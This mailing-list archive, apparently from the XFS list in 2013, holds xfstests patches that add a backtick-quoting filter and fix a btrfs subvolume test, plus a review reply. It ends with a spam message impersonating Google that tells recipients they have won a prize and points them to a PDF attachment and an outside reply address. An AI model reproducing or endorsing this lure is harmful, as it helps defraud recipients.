Sv41VpMKfSyTdhyvj7LT2JR4I1rkY8kSvGPQqeRxTVjMn6I+gftWJmSfGXebo6fB4K RJ1cn7sybbrgNm9Jdo8XJqpSvdY9U90HrG/+fWfk= Received: from CAS2.int.fusionio.com (cas2.int.fusionio.com [10.101.1.41]) by mx1.fusionio.com with ESMTP id rbE1JJtDEOqNC92h (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Wed, 18 Sep 2013 14:29:28 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.41) with Microsoft SMTP Server (TLS) id 14.3.158.1; Wed, 18 Sep 2013 14:29:27 -0600 From: Josef Bacik To: , Subject: [PATCH] xfstests: introduce _filter_backtick Date: Wed, 18 Sep 2013 16:29:26 -0400 X-ASG-Orig-Subj: [PATCH] xfstests: introduce _filter_backtick Message-ID: <1379536166-19232-1-git-send-email-jbacik@fusionio.com> X-Mailer: git-send-email 1.8.3.1 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1379536170 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140733 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Apparently the GNU guys decided to change their error output from something like Error `Error message' To Error 'Error message' So to fix this I've introduced _filter_backtick which will change any ` to ' and then changed the output of the tests that were failing for me because of this output. I tested this on a new box that has the new output and an old box which has the old output and it appears to fix the issue. Thanks, Signed-off-by: Josef Bacik --- common/filter | 7 +++++++ tests/generic/193 | 18 ++++++++++-------- tests/generic/193.out | 16 ++++++++-------- tests/generic/245 | 3 ++- tests/generic/245.out | 2 +- tests/generic/294 | 2 +- tests/generic/294.out | 8 ++++---- tests/generic/306 | 2 +- tests/generic/306.out | 2 +- 9 files changed, 35 insertions(+), 25 deletions(-) diff --git a/common/filter b/common/filter index ee738ca..ec49e18 100644 --- a/common/filter +++ b/common/filter @@ -280,5 +280,12 @@ _filter_size_to_bytes() echo $((${size:0:${#size}-1}*$mul)) } +# Old gnu utils used to spit out something like "Error `blah'" but the new ones +# do "Error 'blah'" so fix the ` to be a ' so we are consistent +_filter_backtick() +{ + sed -e "s/\`/\'/g" +} + # make sure this script returns success /bin/true diff --git a/tests/generic/193 b/tests/generic/193 index 4fa20ff..2186997 100755 --- a/tests/generic/193 +++ b/tests/generic/193 @@ -91,17 +91,18 @@ echo _create_files echo "user: chown root owned file to qa_user (should fail)" -su ${qa_user} -c "chown ${qa_user} $test_root" 2>&1 | _filter_files +su ${qa_user} -c "chown ${qa_user} $test_root" 2>&1 | _filter_files | \ + _filter_backtick echo "user: chown root owned file to root (should fail)" -su ${qa_user} -c "chown root $test_root" 2>&1 | _filter_files +su ${qa_user} -c "chown root $test_root" 2>&1 | _filter_files | _filter_backtick echo "user: chown qa_user owned file to qa_user (should succeed)" su ${qa_user} -c "chown ${qa_user} $test_user" # this would work without _POSIX_CHOWN_RESTRICTED echo "user: chown qa_user owned file to root (should fail)" -su ${qa_user} -c "chown root $test_user" 2>&1 | _filter_files +su ${qa_user} -c "chown root $test_user" 2>&1 | _filter_files | _filter_backtick _cleanup_files @@ -115,13 +116,14 @@ echo _create_files echo "user: chgrp root owned file to root (should fail)" -su ${qa_user} -c "chgrp root $test_root" 2>&1 | _filter_files +su ${qa_user} -c "chgrp root $test_root" 2>&1 | _filter_files | _filter_backtick echo "user: chgrp qa_user owned file to root (should fail)" -su ${qa_user} -c "chgrp root $test_user" 2>&1 | _filter_files +su ${qa_user} -c "chgrp root $test_user" 2>&1 | _filter_files | _filter_backtick echo "user: chgrp root owned file to qa_user (should fail)" -su ${qa_user} -c "chgrp ${qa_user} $test_root" 2>&1 | _filter_files +su ${qa_user} -c "chgrp ${qa_user} $test_root" 2>&1 | _filter_files | \ + _filter_backtick echo "user: chgrp qa_user owned file to qa_user (should succeed)" su ${qa_user} -c "chgrp ${qa_user} $test_user" @@ -144,7 +146,7 @@ echo "user: chmod a+r on qa_user owned file (should succeed)" su ${qa_user} -c "chmod a+r $test_user" echo "user: chmod a+r on root owned file (should fail)" -su ${qa_user} -c "chmod a+r $test_root" 2>&1 | _filter_files +su ${qa_user} -c "chmod a+r $test_root" 2>&1 | _filter_files | _filter_backtick # # Setup a file owned by the qa_user, but with a group ID that @@ -283,7 +285,7 @@ echo "user: touch qa_user file (should succeed)" su ${qa_user} -c "touch $test_user" echo "user: touch root file (should fail)" -su ${qa_user} -c "touch $test_root" 2>&1 | _filter_files +su ${qa_user} -c "touch $test_root" 2>&1 | _filter_files | _filter_backtick _cleanup_files diff --git a/tests/generic/193.out b/tests/generic/193.out index 357a7c1..7a7f89a 100644 --- a/tests/generic/193.out +++ b/tests/generic/193.out @@ -3,28 +3,28 @@ QA output created by 193 testing ATTR_UID user: chown root owned file to qa_user (should fail) -chown: changing ownership of `test.root': Operation not permitted +chown: changing ownership of 'test.root': Operation not permitted user: chown root owned file to root (should fail) -chown: changing ownership of `test.root': Operation not permitted +chown: changing ownership of 'test.root': Operation not permitted user: chown qa_user owned file to qa_user (should succeed) user: chown qa_user owned file to root (should fail) -chown: changing ownership of `test.user': Operation not permitted +chown: changing ownership of 'test.user': Operation not permitted testing ATTR_GID user: chgrp root owned file to root (should fail) -chgrp: changing group of `test.root': Operation not permitted +chgrp: changing group of 'test.root': Operation not permitted user: chgrp qa_user owned file to root (should fail) -chgrp: changing group of `test.user': Operation not permitted +chgrp: changing group of 'test.user': Operation not permitted user: chgrp root owned file to qa_user (should fail) -chgrp: changing group of `test.root': Operation not permitted +chgrp: changing group of 'test.root': Operation not permitted user: chgrp qa_user owned file to qa_user (should succeed) testing ATTR_MODE user: chmod a+r on qa_user owned file (should succeed) user: chmod a+r on root owned file (should fail) -chmod: changing permissions of `test.root': Operation not permitted +chmod: changing permissions of 'test.root': Operation not permitted check that the sgid bit is cleared -rw-rw-rw- check that suid bit is not cleared @@ -60,5 +60,5 @@ testing ATTR_*TIMES_SET user: touch qa_user file (should succeed) user: touch root file (should fail) -touch: cannot touch `test.root': Permission denied +touch: cannot touch 'test.root': Permission denied *** done diff --git a/tests/generic/245 b/tests/generic/245 index 9b87fbb..a2811ce 100755 --- a/tests/generic/245 +++ b/tests/generic/245 @@ -65,7 +65,8 @@ touch $dir/aa/1 mkdir $dir/ab/aa touch $dir/ab/aa/2 -mv $dir/ab/aa/ $dir 2>&1 | _filter_test_dir | _filter_directory_not_empty +mv $dir/ab/aa/ $dir 2>&1 | _filter_test_dir | _filter_directory_not_empty | \ + _filter_backtick status=0 exit $status diff --git a/tests/generic/245.out b/tests/generic/245.out index 8322aac..f5b5f18 100644 --- a/tests/generic/245.out +++ b/tests/generic/245.out @@ -1,2 +1,2 @@ QA output created by 245 -mv: cannot move `TEST_DIR/test-mv/ab/aa/' to `TEST_DIR/test-mv/aa': File exists +mv: cannot move 'TEST_DIR/test-mv/ab/aa/' to 'TEST_DIR/test-mv/aa': File exists diff --git a/tests/generic/294 b/tests/generic/294 index fa7f339..ef02e18 100755 --- a/tests/generic/294 +++ b/tests/generic/294 @@ -65,7 +65,7 @@ mkdir $THIS_TEST_DIR || _fail "Could not create dir for test" _create_files 2>&1 | _filter_scratch _scratch_mount -o remount,ro || _fail "Could not remount scratch readonly" -_create_files 2>&1 | _filter_scratch +_create_files 2>&1 | _filter_scratch | _filter_backtick # success, all done status=0 diff --git a/tests/generic/294.out b/tests/generic/294.out index 027d9fc..1ac1c67 100644 --- a/tests/generic/294.out +++ b/tests/generic/294.out @@ -1,5 +1,5 @@ QA output created by 294 -mknod: `SCRATCH_MNT/294.test/testnode': File exists -mkdir: cannot create directory `SCRATCH_MNT/294.test/testdir': File exists -touch: cannot touch `SCRATCH_MNT/294.test/testtarget': Read-only file system -ln: creating symbolic link `SCRATCH_MNT/294.test/testlink': File exists +mknod: 'SCRATCH_MNT/294.test/testnode': File exists +mkdir: cannot create directory 'SCRATCH_MNT/294.test/testdir': File exists +touch: cannot touch 'SCRATCH_MNT/294.test/testtarget': Read-only file system +ln: creating symbolic link 'SCRATCH_MNT/294.test/testlink': File exists diff --git a/tests/generic/306 b/tests/generic/306 index 04d28df..47235ec 100755 --- a/tests/generic/306 +++ b/tests/generic/306 @@ -71,7 +71,7 @@ _scratch_mount -o ro || _fail "Could not mount scratch readonly" # We should be able to read & write to/from these devices even on an RO fs echo "== try to create new file" -touch $SCRATCH_MNT/this_should_fail 2>&1 | _filter_scratch +touch $SCRATCH_MNT/this_should_fail 2>&1 | _filter_scratch | _filter_backtick echo "== pwrite to null device" $XFS_IO_PROG -c "pwrite 0 512" $DEVNULL | _filter_xfs_io echo "== pread from zero device" diff --git a/tests/generic/306.out b/tests/generic/306.out index 69bfb42..fb3748b 100644 --- a/tests/generic/306.out +++ b/tests/generic/306.out @@ -1,6 +1,6 @@ QA output created by 306 == try to create new file -touch: cannot touch `SCRATCH_MNT/this_should_fail': Read-only file system +touch: cannot touch 'SCRATCH_MNT/this_should_fail': Read-only file system == pwrite to null device wrote 512/512 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -- 1.8.3.1 From tinguely@sgi.com Wed Sep 18 15:36:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 98E417F4E for ; Wed, 18 Sep 2013 15:36:14 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 76D9F8F8054; Wed, 18 Sep 2013 13:36:14 -0700 (PDT) Message-ID: <523A0EBD.2060705@sgi.com> Date: Wed, 18 Sep 2013 15:36:13 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH] xfsprogs: initialize filetype for xfs_name_dot References: <523889DB.1000001@redhat.com> In-Reply-To: <523889DB.1000001@redhat.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/17/13 11:56, Eric Sandeen wrote: > If we add the '.' entry in repair, make sure it has a file type > initialized. > > Signed-off-by: Eric Sandeen > --- This looks good. looks like shared code xfs_dir_lookup() returns the ci match in a xfs_name without a file type. Not used now, but may be handy. Reviewed-by: Mark Tinguely From JBacik@fusionio.com Wed Sep 18 15:48:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9F7287F54 for ; Wed, 18 Sep 2013 15:48:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9252A304032 for ; Wed, 18 Sep 2013 13:48:40 -0700 (PDT) X-ASG-Debug-ID: 1379537319-04cbb02c3b1184e60001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id ldR5WuL6HKlLRvZF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 18 Sep 2013 13:48:39 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx1.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id 76B387C068F for ; Wed, 18 Sep 2013 14:48:39 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1379537319; bh=pLsXSTBok/Fn29mfS6A6VdEuFIKr8IdRJa7RncTqV+Q=; h=From:To:Subject:Date; b=awTMR/bWqy3oq9n20J5OYX+35SdutpkpKTqdVkW8rttV5iSPL6sjoiSGageI1BjEq jlqHZW3guaGzk1gu8Ze9iPl0+TY8522AzzldfuPNEPDiStOqnEyz+LbpXXD7W+1XT1 ytlg797TF634pdfJrl2G6hb6BpLYPmwjuMtvo3/w= Received: from CAS1.int.fusionio.com (cas1.int.fusionio.com [10.101.1.40]) by mx1.fusionio.com with ESMTP id 42veGOzAClVTLciu (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Wed, 18 Sep 2013 14:48:29 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.40) with Microsoft SMTP Server (TLS) id 14.3.158.1; Wed, 18 Sep 2013 14:48:28 -0600 From: Josef Bacik To: , Subject: [PATCH] xfstests: fix set-default test in btrfs/001 Date: Wed, 18 Sep 2013 16:48:27 -0400 X-ASG-Orig-Subj: [PATCH] xfstests: fix set-default test in btrfs/001 Message-ID: <1379537307-21681-1-git-send-email-jbacik@fusionio.com> X-Mailer: git-send-email 1.8.3.1 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1379537319 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140733 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature We were actually testing this improperly, there was a bug in the set default code so we weren't actually honoring the 0 subvolid properly. To fix this we need to get the subvolid for the subvol we want to set as the default and use that in the command. With this patch we now pass again with the fix for the 0 subvolid. Thanks, Signed-off-by: Josef Bacik --- tests/btrfs/001 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/btrfs/001 b/tests/btrfs/001 index 9aa2431..c05d772 100755 --- a/tests/btrfs/001 +++ b/tests/btrfs/001 @@ -77,7 +77,8 @@ ls $SCRATCH_MNT/subvol echo "Creating file bar in subvol" dd if=/dev/zero of=$SCRATCH_MNT/subvol/bar bs=1M count=1 &> /dev/null echo "Setting subvol to the default" -$BTRFS_UTIL_PROG subvolume set-default 0 $SCRATCH_MNT/subvol | _filter_scratch +subvolid=$(_btrfs_get_subvolid $SCRATCH_MNT subvol) +$BTRFS_UTIL_PROG subvolume set-default $subvolid $SCRATCH_MNT | _filter_scratch _scratch_remount echo "List root dir which is now subvol" ls $SCRATCH_MNT -- 1.8.3.1 From wpa001@jawi.gov.my Wed Sep 18 15:54:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7C7D929E02 for ; Wed, 18 Sep 2013 15:54:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 027098F8071 for ; Wed, 18 Sep 2013 13:54:21 -0700 (PDT) X-ASG-Debug-ID: 1379537654-04bdf0538725f110001-NocioJ Received: from mail.jawi.gov.my (mail.jawi.gov.my [175.28.12.244]) by cuda.sgi.com with ESMTP id G76NNEDBHwNF3KhO for ; Wed, 18 Sep 2013 13:54:15 -0700 (PDT) X-Barracuda-Envelope-From: wpa001@jawi.gov.my X-Barracuda-Apparent-Source-IP: 175.28.12.244 Received: from localhost (localhost [127.0.0.1]) by mail.jawi.gov.my (Postfix) with ESMTP id C5EDF3843308; Thu, 19 Sep 2013 02:33:41 +0800 (MYT) X-Virus-Scanned: amavisd-new at jawi.gov.my Received: from mail.jawi.gov.my ([127.0.0.1]) by localhost (mail.jawi.gov.my [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 2WHCPHLw0HME; Thu, 19 Sep 2013 02:33:39 +0800 (MYT) Received: from mail.jawi.gov.my (mail.jawi.gov.my [10.7.0.10]) by mail.jawi.gov.my (Postfix) with ESMTP id 65E6C38432FA; Thu, 19 Sep 2013 02:33:37 +0800 (MYT) Date: Thu, 19 Sep 2013 02:33:37 +0800 (MYT) From: Google =?utf-8?Q?Incorporation=C2=AE?= Reply-To: "daviddrummond13.svp@careceo.com" Message-ID: <944298457.514.1379529217355.JavaMail.root@jawi.gov.my> Subject: Powered by Google MIME-Version: 1.0 X-ASG-Orig-Subj: Powered by Google Content-Type: multipart/mixed; boundary="----=_Part_512_473743183.1379529217346" X-Originating-IP: [172.162.41.60] X-Mailer: Zimbra 7.2.3_GA_2872 (zclient/7.2.3_GA_2872) To: undisclosed-recipients:; X-Barracuda-Connect: mail.jawi.gov.my[175.28.12.244] X-Barracuda-Start-Time: 1379537654 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140733 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- ------=_Part_512_473743183.1379529217346 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Dear Google User, You have been selected as a winner for using Google services. Find attached= email with more details. Congratulations, Matt Brittin. CEO Google UK. =20 =C2=A92013 Google Corporation ------=_Part_512_473743183.1379529217346 Content-Type: application/pdf; name="Google UK.pdf" Content-Disposition: attachment; filename="Google UK.pdf" Content-Transfer-Encoding: base64 JVBERi0xLjUKJeLjz9MKNiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUg L0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDM4CiAgIC9IZWlnaHQgMQog ICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5n dGggMTI1Cj4+CnN0cmVhbQp42gFyAI3/9f7t8Pzm7v7j3/7V3v/UxPC7mMyOks+KabFoZMNyXsVy WshxVcpvUshoSsJeSsNaSMFXR8NTRMVPPshOO8pKN8hFNslFL8dBILc0ILc0J7U7HqQxIKMzD4Id GHwiF3MeM381PHo5erR5hqyD1uLW7/TuUUI8fwplbmRzdHJlYW0KZW5kb2JqCjcgMCBvYmoKPDwg CiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVu dCA4CiAgIC9XaWR0aCAxCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAg IC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTEKPj4Kc3RyZWFtCnjae/XjPwAFsALi CmVuZHN0cmVhbQplbmRvYmoKOCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5 cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI3CiAgIC9IZWlnaHQg MQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9M ZW5ndGggNTgKPj4Kc3RyZWFtCnjaNcoxCsAgEAXR+58yjZKg33RBWdlMWDHwiilGjpzLQh6kvhVD Rpub1tZexPJHhePhnOEmfHweThsKZW5kc3RyZWFtCmVuZG9iago5IDAgb2JqCjw8IAogICAvVHlw ZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAv V2lkdGggNgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVy IC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDI2Cj4+CnN0cmVhbQp42vvz693P769+fX/x99fr/3/e AhEApEIRSgplbmRzdHJlYW0KZW5kb2JqCjEwIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAog ICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggNDMKICAg L0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNv ZGUKICAgL0xlbmd0aCAxNDAKPj4Kc3RyZWFtCnjaAYEAfv/n/+3i/+vd/+bW/+LA/86b7KqT8aVg zHZgzndFvF5IxmJFyGBV2nFHz2FHz2FI0GJK0GFJzltCyVNCyVE/x0s/x0k9yEc5yUU4ykUzxkEz xkEpvjwltjcotDokpDcZkCocji4NbBoVZRxaoV+Qx5CWwZS537bB2b/R2NDp6+jq6uoBB0cECmVu ZHN0cmVhbQplbmRvYmoKMTEgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBl IC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyCiAgIC9IZWlnaHQgMQog ICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5n dGggMTQKPj4Kc3RyZWFtCnjae/f9y9vv3wAT6AW0CmVuZHN0cmVhbQplbmRvYmoKMTIgMCBvYmoK PDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBv bmVudCA4CiAgIC9XaWR0aCA1NgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJH QgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDE2Nwo+PgpzdHJlYW0KeNolzksL wQAAB/CvzEZqK0oxw8Jhaak5kTMuKCQHedMe0cxjS2QeOcna/oz6fYCfBZwBEzD+XI/+hvr0DE0M DLRXKDbvYuMh1Kx8/ZapnKLiJibuKX5N8VowK5OcSnCSPyX7mAkRHwWYsSexINklyUqBtEImlVBO o/kdzW8jghEu7MWWU+6h1Heqc3R0dLeYWphdob1w+E2O35iLK3CxYdn4AKE+hBoKZW5kc3RyZWFt CmVuZG9iagoxMyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdl CiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDQ2CiAgIC9IZWlnaHQgMQogICAvQ29s b3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTQ5 Cj4+CnN0cmVhbQp42gGKAHX/8f/t6//q4f7iuubCtuu/jseaiMuWW61tSqVfRKlZPK1VPK9UN7BR NbZRMblNNsBRO8tSOMxQPNJUO9JPQNNPO9FLPdBLO89HOs5EOc4/Nck/Nck/MMM+MMM+IbAyHKMt IKAxD34fBmwWC2oYKHMyMW03fLCCo8SlqsCpqr2prrqs3N7Z7Ozq7Ozs9IlHDAplbmRzdHJlYW0K ZW5kb2JqCjE0IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UK ICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggNjcKICAgL0hlaWdodCAxCiAgIC9Db2xv clNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAyMTIK Pj4Kc3RyZWFtCnjaAckANv/r/P/n/f/K4PfH4P+ux+99nst7n9Fvls1ultFhiMtWfsNWfsZTesVU eclUeclUeMxUeM5Vd9BMb8lMb8tMb8tMb81Lbc5KbM1Kas1KbM5KbM5Lbc9MbtJMbtBNbdBKZ8VM ZsNPaMVPZ8dQZ81QadBOadRPadhOadxQa+BSb+dRb+dUcuxScutcf/VbfvJagO1ZgOdXf+FXf99V f9VVf9FWgc9Zhcxahcldicphh8ZsiMdrhLxuhLV7jrh7jradsdbL3vzM3vbr/f/TEXYoCmVuZHN0 cmVhbQplbmRvYmoKMTUgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9J bWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCA0MQogICAvSGVpZ2h0IDEKICAg L0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3Ro IDEzNAo+PgpzdHJlYW0KeNoBewCE/+366On86Nbu1tX22dP418Lqx7/sxanesJfQnZXSmXu/gnvA gWu0b3G9dWrBcHbZfh2kKxSqJRi3KRG6IxrBKxzDLR7DKx/CKSHBKx29JxayIRmwJROlHhSkIACG DQB5CQR0EABYCBprJh5oKYzAkpS5mLDJs9/p4OTm41pbPrcKZW5kc3RyZWFtCmVuZG9iagoxNiAw IG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVy Q29tcG9uZW50IDgKICAgL1dpZHRoIDgyCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2 aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMjU3Cj4+CnN0cmVhbQp4 2gH2AAn/1+XwqbrOpbnRhZy8g5vHc4/OborTa4rcY4HbYIHiV3feT3DZUG/bTWzYTG3YSGnSQmPK Q2PIP1/CQGHCQmDCRmTERmXCSWjDWnjQWnnMXn3PXn3NY4POaIjRaojObYzPbYzNcI7Ob43Lb43L bozKbIbDbIbBa4XCa4TEZ3/FXnjCXnfHVG2/U2zGSmTBQ1/DQl/HPl3JPlzMQGHUQWLWPWLXO2Lb O2PcO2PcPWfgPWfgRG7nTHbuTHfqUXztU3zmWoLaW4HWXIHSXIDUXIDWX4LWYIPVY4LVYH/SXHbK XXjJWnG9XXK1boK0mKnXmanNzNr1ztvrNvqJjgplbmRzdHJlYW0KZW5kb2JqCjE3IDAgb2JqCjw8 IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25l bnQgOAogICAvV2lkdGggMzYKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IK ICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMTkKPj4Kc3RyZWFtCnjaAWwAk//t 7vLu7fLq6Ovr6err5eXr5uPt5eLw5+Lw5+Ly5+P16ODr7tnd+M81mTYjpSsbtCgQux8TviIRvCAR vCAQuR4RuR4PtBoMqhcPqBgMnhUQnBkAeQQAagABZAcMWRFipGZmoWmix6arwazh7eEqhTtgCmVu ZHN0cmVhbQplbmRvYmoKMTggMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBl IC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCA5MgogICAvSGVpZ2h0IDEK ICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVu Z3RoIDI4Nwo+PgpzdHJlYW0KeNoBFAHr/t/2/N/2/NXt+Z241Zq333ycy2eJyGaJy2eJ02eH2mCB 3k5v0E1u1Udo0Uhn0U5t10tjxUxjwU5iu01huExit1FnulFotl1zvm6EzW6Fy4CV1oCW0oug2Yyg 04yh0I6j0I6kzZOnyJaryJarxpmtxZqvxJqvwpmuv5muv5muv5+0yZ+0yZ2xyZ2xyZmuyZitypat 